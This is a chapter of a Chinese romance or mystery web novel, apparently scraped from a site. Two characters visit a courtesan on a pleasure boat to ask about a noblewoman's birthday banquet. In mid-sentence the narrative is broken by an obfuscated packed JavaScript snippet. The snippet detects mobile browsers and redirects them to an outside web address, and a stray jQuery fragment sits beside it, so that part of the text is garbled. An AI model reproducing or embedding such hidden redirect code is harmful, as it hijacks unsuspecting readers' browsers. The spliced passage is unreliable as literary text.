“你想什么?”应休惊淡声说,“消息最灵通的地方,就是下九流。小土包子,没见过世面。 “这些花船,跟寻常的勾栏院不一样。这里有不少才艺出众的女子,从小被培养,卖艺不卖身。世家权贵想要见上一面,也需得花费不少银子。家中宴请宾客,若是谁能将这些姑娘们请到府上做客,表演才艺,那就能被人津津乐道好一阵。这些世家好脸面,自然都会想要争取一番。” 应休惊这话已经说得很清楚,连舟雪很快就反应过来。 “你是说,陆府那位三小姐的生辰宴,就会邀请她们去府上?按照这陆三小姐的排场,说不定每年都会邀请她们去表演,她们说不定知道些什么。”连舟雪看着应休惊的眼睛问。 后者那张平日里没什么表情的脸上,浮现出浅淡的笑意,“嗯,我已经打听清楚了,先上船吧。” 说话间,就有一艘三层高的花船,停在了连舟雪跟应休惊跟前。 船上的扶手边上站着一位看起来风韵犹存的中年妇人,脸上不知道覆盖有几层胭脂水粉,哪怕是在青天白日,看起来也格外惨白。 “应公子来了!”那妇人在看见应休惊的那一刻,脸上的脂粉都快要堆积起来,脸上露出灿烂的笑容,“快请上船。” 连舟雪顿时又有些怀疑地看了身边的人一眼,不是说这花船上的姑娘们都很矜持吗?不是说这些人都需要花不少银子才能见到吗?她怎么就觉得应休惊想要见这些人挺容易呢?甚至,对方还挺欢迎他? 上了船,连舟雪才觉得刚才应休惊叫自己那声“土包子”一点都没错。 上来之前,她可没想过一艘小小的花船里面竟然能这么富丽堂皇,是她从前太没见识了。 雕梁画栋,也能出现在一艘不大的花船上。推开一层的门,连舟雪最先注意到的便是在厅堂内那十二盏的琉璃灯,哪怕是白天,这琉璃灯也是被点亮的,照得里面一片透亮。 周围的陈设,一看就价值不菲。 如果不是知道自己现在是在花船上,连舟雪还真要以为自己这是到了哪家富户家中。 也因为是白天,花船里除了姑娘们,就没别的什么人。 走进来,连舟雪的耳边便传来了更清晰一点的丝竹之声。 “姑娘们现在都差不多已经醒来,在房间里练琴呢。雾旻那孩子已经在房间里等着公子和姑娘,奴家就不上去了。”那老妇人对应休惊开口。 连舟雪挑眉,她觉得对方已经不仅仅是欢迎应休惊,甚至对后者还很信任。 不是说这花船里的姑娘们都是卖艺不卖身吗?应休惊一个大男人去姑娘的房间,竟然都不需要派人跟着吗? 就在连舟雪晃神的那瞬间,她的手腕就被人忽然捏住了。 连舟雪回神,就见应休惊有些歉意地冲着那老妇一笑,“这是舍妹,初来乍到,难免有些不懂规矩。” 老妇的目光在连舟雪身上落了两圈,随后视线又落回到应休惊身上,只不过多了几分复杂的打量,然后轻笑出声。 “应公子赶紧上去吧,省得雾旻她等着急,她可是真想见到你呢。” 应休惊:“……” 连舟雪忍不住想朝应休惊看去,能被花船里的姑娘惦记,这人可真是好有本事。 但是连舟雪这一眼究竟是没能看出去,因为在她想抬头的时候,应休惊似乎早就已经预判了她的动作,先她一步,直接用另一只没有拽着她手腕的是大掌,将她的眼睛覆盖住了。 连舟雪感觉到自己的耳边似乎有传来一声若有似无的低叹,“别盯着我看。”应休惊说。 连舟雪:“……” 看一眼又怎么了?! 雾旻姑娘是在最顶层,她有一间独立的挺大的闺房。 那房间里,入门口就摆放着一道绣着春日百花图的刺绣的屏风,是江南一带有名的双面绣。就算是连舟雪这个不大精通女红的人,见了也不由赞叹一声栩栩如生。 绕过这道屏风,连舟雪直接无视了房间里所有的稀罕又显得格外雅致的陈设,注意力几乎全都被不远处,靠着窗边坐在古琴后面的女子吸引。 后者容貌艳丽,眉宇之间勾着一朵盛开的海棠的花钿。身段一看就格外柔软,一袭艳丽的暗紫色的罗裙垂地,这颜色衬托得她那张芙蓉面更加白皙透红。 双眸似含秋水,一眼望过来,令人心旌神摇。 哪怕连舟雪是女子,也忍不住觉得骨头都有点酥麻。 “应公子来了。”坐在窗边的女子缓缓站起来,又像是一阵风似的,走到应休惊跟连舟雪跟前,给前者作揖。 至于连舟雪,倒是被这位雾旻姑娘无视了个彻底。 连舟雪:“……” 应休惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15122163|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里不知道什么时候多了一把折扇,他直接用扇骨架住了面前女子的胳膊肘,把人扶了起来。 “雾旻姑娘,好久不见。”应休惊将连舟雪拉近了些,像是没看出来先前雾旻对连舟雪的无视似的,就坐在了旁边的软榻上。“今日前来,雾旻姑娘应该已经接到了消息吧?”应休惊笃定说。 因为应休惊的动作,她不由将视线堪堪落在了连舟雪的身上。不过也就只有一瞬,随即很快挪开。 “昨夜应公子托人送来的信,奴家已知,您是想问,去年陆三小姐的生辰宴上,有没有什么不速之客或是异常现象。”雾旻坐回到古琴后,她抬头看向应休惊,“但当年奴家跟公子的约定是,公子日后若有什么想知道的,奴家定然不会隐瞒。现在,不知道究竟是公子想知道,还是公子身边的这位姑娘想知道?” 雾旻问完这话后,端起面前的茶盏,缓缓地抿了一口。 “若是公子身边的姑娘想知道,这事儿就不一样了。” 她卖的是应休惊的人情,不是旁的什么人都可以从她手里讨便宜。 坐在应休惊身边的连舟雪这时候已经彻底愣住了。 她先前还觉得应休惊在这花船的地位好像挺不一样的,而且一进门,那位看起来冷艳的雾旻大美人还对应休惊有点意思。 但现在…… 连舟雪很是怀疑地朝应休惊看了眼,这人的这张脸,似乎也不是那么好用啊。 不然,人家姑娘对他的态度也不会一下转变这么大。 谁知道就在连舟雪暗暗腹诽时,应休惊忽然牵起了她的手。 十指交缠。 连舟雪还没从对方这突兀的举动中回过神来,耳边就已经落下来应休惊的声音。 “这是我未婚妻,所以,她的事就是我的事,行了吧?” 在说最后这一句话时,应休惊看向雾旻。 应休惊的话音一落,原本坐在位置上还算是镇定自若的女子,陡然之间抬头,目光直直地朝着连舟雪身上看去。 她拧眉,似乎在判断应休惊这话的真假,“家里订的?”问完这话后,她又摇了摇头,“不像。”随后,她肩头微微一松,“公子若是想要用这样的借口在我这儿骗取消息,可不行。” 她们画舫是要做买卖消息的生意,既然是生意,自然不可能白给。 应休惊:“我的事自然是我做主,谁都别想替我做主。” 最后这话,应休惊的语气已经带上了几分冷意。 雾旻垂着头想了想,然后点了一支香,开口道:“去年这时候,奴家的确有受到陆府的邀请前去表演。那位三小姐的生辰宴,可能在咱们金陵城无人不知无人不晓。不过,去年格外不一样。” “怎么不一样?” “她将生辰宴提前了十日。”雾旻说到这里时,脸上露出来的表情有几分别有深意,似笑非笑。 “陆家的人放话出来说,是因为得道高人给陆三算了一卦。她这及笄礼,需要提前十日,不然,会有血光之灾,未来几年,气运低迷,诸事不顺。” “好巧不巧,你们猜,在她生辰宴的十日前,是什么日子?”